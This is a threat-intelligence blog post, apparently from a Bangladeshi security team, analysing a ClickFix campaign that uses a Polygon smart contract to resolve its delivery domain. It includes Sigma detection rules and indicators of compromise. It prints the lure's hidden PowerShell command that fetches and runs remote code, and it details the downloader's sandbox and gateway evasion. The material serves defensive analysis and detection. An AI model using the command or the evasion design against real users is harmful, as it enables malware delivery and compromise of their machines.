latest event 58m ago · pipeline live
← Blog
Malware Analysis

Inside an EtherHiding ClickFix Campaign Targeting Bangladeshi Websites

Shakil Hossain · 13 Aug 2026

A compromised Bangladeshi property site was serving a ClickFix lure — but the injected script contains no C2 domain. It asks a Polygon smart contract at page load, which means the operators rotate infrastructure without ever touching the hacked site again. Part 1 of 3: the delivery chain, end to end.

A tip came in on 6 August: a Bangladeshi property company's website was serving a fake CAPTCHA. That is a routine finding. ClickFix has been everywhere for two years, the playbook is well known, and most of the time the write-up is three paragraphs long.

This one took a week, and it is the first of three posts.

What made it worth the time was not the lure. It was what happened when we went looking for the C2 domain in the injected script and could not find one, because it is not in there. The page asks a smart contract on the Polygon blockchain where to fetch the payload from, at the moment the victim loads it. The operators change infrastructure by writing one transaction. They never touch the hacked website again.

The domain is disposable by design. Blocking it is a treadmill the operators built on purpose.

This post covers the delivery chain: how a visitor to a legitimate .com.bd site ends up running a PowerShell command they pasted themselves. The second post covers the two completely different malware bundles that came out of it. The third follows the wallets, which turned a two-contract incident into a 123-contract inventory.

What the victim sees

Nothing alarming. The site loads normally, then a Cloudflare-flavoured verification overlay appears with a familiar "I'm not a robot" checkbox — the real Google reCAPTCHA logo, loaded from gstatic[.]com, so image-reputation checks have nothing to complain about.

Click the checkbox and the page shows you four keys to press.

The ClickFix lure re-rendered in a defanged offline viewer, with the console showing what the clipboard write would have contained

Rendered in the analyst's own offline copy with the network calls, clipboard write and input blocking stripped out. The console lines are the viewer reporting what the live page would have done.

Win+X, then I, then Ctrl+V, then Enter. Win+X opens the Windows power-user menu; I picks Terminal. The victim is opening a shell and pasting something into it. The keycaps animate in a loop, so the sequence is demonstrated rather than merely described, and the widget localises itself into eleven languages based on the browser's language list — so it does this in the victim's own language.

What got copied to the clipboard the moment they clicked, silently, via a hidden textarea and document.execCommand('copy'):

powershell -w h "iex(irm 'cloudeccentric[.]cc/19848c6d2220a41a' -UseBasicParsing)"; exit

-w h is -WindowStyle Hidden. The trailing ; exit closes the terminal afterwards, so the victim sees a window flash and nothing else.

There is no exploit anywhere in this chain. No browser bug, no Windows bug, nothing to patch. Every bit of execution privilege in this incident came from a person following instructions. That is worth sitting with, because it means the control that would have stopped it is not a control you buy.

The page also blocks F12, Ctrl+Shift+I/J/C, Ctrl+U and right-click, renders itself inside a Shadow DOM so page-level CSS inspection does not reach it, and sets a localStorage flag so it fires exactly once per host per browser.

That last detail matters for triage: if a user reports this and you visit the site and see nothing, the site is not clean. Clear site data first.

The part that is not routine

Here is one of the eight scripts injected into the compromised page, as it appears in the live source.

The injected loader in the compromised page's source, an obfuscated IIFE with no readable domain

There is no domain in it. There is no domain in any of the eight.

Each one is a self-executing function guarded by a unique window['_<10 hex>'] flag so it only runs once, carrying a hardcoded 40-hex contract address, a 4-byte function selector, a campaign token, and a pool of public Polygon RPC endpoints. It walks the pool with XMLHttpRequest POSTs, five-second timeout, falling through to the next node on failure. What it sends is an eth_call with:

data = 0xb68d1809

We brute-forced that selector against keccak256 candidates. It is getDomain(). The operators named the function themselves, which settles what the contract is for: it is a dead-drop resolver, purpose-built, not some general-purpose contract being repurposed.

The contract returns an ABI-encoded string. The script decodes it, strips trailing slashes, and appends a script tag pointing at it. That is where the lure comes from.

This technique has a name — EtherHiding — and its properties are worth spelling out, because they are what make it annoying rather than merely clever:

  • The call is read-only. It costs nothing, creates no transaction, and leaves no on-chain trace of the lookup.
  • At the network layer it is indistinguishable from any other web3 app querying a contract.
  • The RPC nodes are legitimate public infrastructure. Blocking them breaks unrelated things.
  • The contract address is immutable. Abandoning it means re-injecting every compromised site.

Two contract addresses appeared across the eight loaders — six pointing at one, two at the other. A single visitor ran all eight. That is how one hacked page fed two entirely separate infections in one page load, which is the subject of the next post.

One loader was also visibly newer: it carried fourteen RPC endpoints where the others had eight. Resilience against node-level blocking is being actively developed, so an RPC blocklist is a decaying control.

Following the paste

The full ErrTraffic ClickFix delivery chain from compromised site through blockchain resolver to payload and execution beacon

The PowerShell the victim pasted fetches a script from a 16-hex path. That script is three layers deep — XOR'd numeric arrays, then base64, then another XOR pass — with decoy arithmetic and unused branches padding it out.

The obfuscated PowerShell downloader as served, an array of XOR'd character codes reassembled into a scriptblock

Underneath the layers, the actual downloader is short and its choices are all deliberate:

  1. Sleep 18 seconds before anything else. It is a sandbox-timeout play, and it happens before any network call, so a short-window sandbox sees nothing at all.
  2. Build the download primitive from split string literals — 'Op'+'en', 'Se'+'nd', 'Respo'+'nseBody' — and instantiate WinHttp.WinHttpRequest.5.1 via COM rather than calling Invoke-WebRequest. The split points differ between builds, so signatures on the literals will not hold. Script-block logging still sees the assembled value.
  3. Create a random temp directory and two random filenames inside it, both from GetRandomFileName().
  4. Download a 7-Zip binary from /7z, and a password-protected archive from a 64-hex path. Three retries, two-second backoff.
  5. Extract with x -y -p<password> -o<dir>, find the target .exe, and Start-Process it.
  6. Sleep three seconds, delete the archive, and call home.

Step 4 is the one that gets the payload past your gateway. No AV or web proxy that cannot open an encrypted container will ever see the contents — even though the password is sitting in cleartext in the very script that just downloaded it. Nothing in the network path parses PowerShell to go and find it.

And note the scheme change. The lure is served over HTTPS; every stage after it is plain HTTP. If you terminate TLS you lose visibility exactly when the lure is delivered, and regain it exactly when the payload arrives.

The request that means you are already compromised

The last thing the downloader does is fetch /p/<the same 64-hex token>.

Replaying the execution-confirmation beacon after the token has already been consumed

That is not telemetry. It is the client telling the operator that the archive was extracted and the payload launched. The server treats the token as single-use state: replay an old one and the archive endpoint starts returning 410 Gone. Meanwhile the lure page in the victim's browser has been polling its own C2 every 1.5 seconds asking whether the token has been fetched, then consumed — and once it is, the overlay is removed and the page goes back to looking normal.

So the operator gets real-time, per-victim confirmation of execution. And you get the single highest-fidelity indicator in the whole chain:

A host that requested /p/<64-hex> did not nearly get infected. It ran the payload. Treat it as a confirmed compromise and go straight to host triage.

Go straight to triage without waiting for a payload detection, because — as the next post covers — the payload is not a constant. Two victims of the same lure on the same page did not receive the same malware.

The grammar to hunt for

The five-request delivery grammar, from the ClickFix lure through the archive to the execution beacon

Match the shape, never the values. The 16-hex "ray" token is per session, not per campaign — one observed chain used two different ones, and the decoded script for the same campaign carried a third. The domains rotate roughly every 42 hours by smart-contract write.

One thing to check before you rely on existing coverage. Sekoia documented this framework in June 2026 with the endpoints /cf.js and /api/index.php?a=ctx. This traffic uses neither. The framework has iterated past that reporting, so rules built on those strings will not fire on this. They are giving you false assurance. Post three has the full comparison against public reporting.

Detection

Two rules carry most of the weight here. Both key on the delivery layer rather than any payload, because the delivery layer is the part that stays put across affiliates and months.

The execution half of ClickFix. The Win+X → I route makes explorer.exe the parent of a hidden-window PowerShell that immediately downloads and executes. That parent/child/flag combination is close to unheard-of in benign use — a human running a one-liner interactively has no reason to hide the window they are watching.

title: ClickFix Clipboard-Pasted PowerShell Download Cradle from Explorer
logsource:
  category: process_creation
  product: windows
detection:
  selection_powershell:
    Image|endswith: ['\powershell.exe', '\pwsh.exe']
  selection_hidden:
    CommandLine|contains: [' -w h', ' -w hidden', ' -windowstyle h', ' -WindowStyle Hidden']
  selection_cradle:
    CommandLine|contains: ['iex(irm', 'iex (irm', 'IEX(Invoke-RestMethod', 'iex(iwr']
  selection_parent:
    ParentImage|endswith: ['\explorer.exe', '\cmd.exe', '\wt.exe']
  condition: selection_powershell and selection_hidden and selection_cradle and selection_parent
level: critical

It is deliberately not keyed on the domain or the path token — both rotate. And it is payload-agnostic, which is the point: it fires regardless of which affiliate's archive arrives.

The confirmation beacon. Separated from the rest of the grammar because it means something different — not an attempt, a completed execution.

title: ErrTraffic Execution-Confirmation Beacon
logsource:
  category: proxy
detection:
  selection:
    cs-uri-stem|re: '(?i)^/p/[0-9a-f]{64}$'
  condition: selection
level: critical
falsepositives:
  - None expected. A 64-hex path segment under /p/ is not a shape ordinary web applications produce.

Two more are worth deploying and are in the same rule pack: WinHttpRequest COM instantiated from PowerShell (Event ID 4104 sees the ProgID after concatenation, so the literal-splitting does not help them), and a downloaded 7-Zip binary in %TEMP% running with x -y -p… -o…. Fetching your own extractor at run time is itself the tell — legitimate software uses an installed copy or a library.

All of these are experimental. Validate before you deploy, and keep the label on anything you republish.

Indicators — delivery layer

Compromised sites (victims, not attacker infrastructure)

  • barakahhousing[.]com[.]bd
  • khalisfood[.]com[.]bd

Delivery domains observed in this incident

  • cloudeccentric[.]cc — chain A
  • id-verif-code[.]info — chain B
  • verif-key-code[.]info — chain B, published on-chain 2026-08-11 02:01 UTC

Delivery hosts — these survive every domain rotation and are the better control

  • 87[.]58[.]206[.]124 — chain A. AS207043 Dedik Services, NL
  • 178[.]16[.]52[.]101 — chain B. AS202412 Omegatech LTD, DE. Shared-hosting box with unrelated tenants — alert on it, verify, then block

Polygon contracts

  • 0xfD75a8F503be4851E11a52b645De1f017492A6b0 — chain A
  • 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2 — chain B
  • Selector 0xb68d1809 = getDomain(), read by the malware on every page load
  • Selector 0xb249cd2d = updateDomain(string), the setter, on 42 of 42 writes

Full URLs, chain A

  • hxxps://cloudeccentric[.]cc/api[.]php?s=ffa65e22169204ca1ac7588970f688d7401d3ffe20656099&_v=29767456
  • hxxps://cloudeccentric[.]cc/19848c6d2220a41a
  • hxxp://cloudeccentric[.]cc/7z
  • hxxp://cloudeccentric[.]cc/2f20db387345066aca0718171e73003ffba65471a5796bcbe47cdbd0f700c81b
  • hxxp://cloudeccentric[.]cc/p/2f20db387345066aca0718171e73003ffba65471a5796bcbe47cdbd0f700c81b

Full URLs, chain B

  • hxxp://id-verif-code[.]info/59b80e662175a5b4
  • hxxp://id-verif-code[.]info/646a6777ce8c434f
  • hxxp://id-verif-code[.]info/dcc899f5913c8336?_=1
  • hxxp://id-verif-code[.]info/7z
  • hxxp://id-verif-code[.]info/7abd470385c3f874023e082f1f8fbc0bb0b90e2ae37f16e8dc4089413e6711f1
  • hxxp://id-verif-code[.]info/p/7abd470385c3f874023e082f1f8fbc0bb0b90e2ae37f16e8dc4089413e6711f1

Campaign and lure artifacts

  • Campaign tokens: ffa65e22169204ca1ac7588970f688d7401d3ffe20656099 (chain A), 8402fb1338daab6a166e91aa8c92a20798acfa98fb75c5a2 and 7461e8c0bb505b66188eb183e88b86881ea65d410314faf5 (chain B)
  • Archive passwords: OqnaUrMAXScXtKCF (chain A), itswar (chain B)
  • ClickFix payload XOR key: /TmTSUyJx2yvYUtmtDJGXg== — hex fd3993494c89c76caf614b66b432465e
  • PowerShell layer XOR keys: 87 and 50 (chain A), 45 and 59 (chain B)
  • Shadow-DOM host element id: bw-rc-host — a strong, low-noise DOM indicator
  • Loader guard flags: _b60bdf6be6, _87eb48a032, _ca2f03015b, _d3622928c8, _587fd9737a, _7bbe42d0ae, _6a7b6ed550, _7eae64e939
  • Builder telemetry stubs left in the DOM between the loaders: window.XTracker_ICTC, _LRXN, _QYEC, _GSJF, _ISXW, _IZTW
  • Delivery host TLS certificate, chain A: SHA-256 F0:D6:DA:83:99:4B:0C:AF:B0:5F:13:83:44:68:52:37:70:C2:5E:39:E7:0A:79:69:39:2F:47:2A:83:75:24:96, SPKI pin cgXWHTVeTqvqsniA7b6sBjvltdB3bDnL/Y097GS61mg=

What to do about it

  1. Treat any host that requested a /p/<64-hex> path as compromised, not exposed. Go to host triage immediately.
  2. Hunt proxy logs for the grammar above across your full retention window. This campaign was live from at least 28 July.
  3. Block the two delivery IPs rather than chasing the domains, and understand you are buying weeks rather than days by doing so.
  4. Audit your existing ClickFix rules against the June-2026 endpoints. If they key on /cf.js or /api/index.php?a=ctx, they are not covering this.
  5. Turn on PowerShell script-block logging (Event ID 4104) if it is not already on. It is what makes most of the detection above possible.
  6. Tell your users about this specific pattern. A webpage that asks you to press Win+X and paste something is never legitimate. No real CAPTCHA has ever asked for this. It is worth a targeted comms item precisely because it routes around the technical controls by design.

Next: From ClickFix to Overlord RAT: Chaining StealC's Built-In Loader.

Inside an EtherHiding ClickFix Campaign Targeting Bangladeshi Websites — Threat Intel BD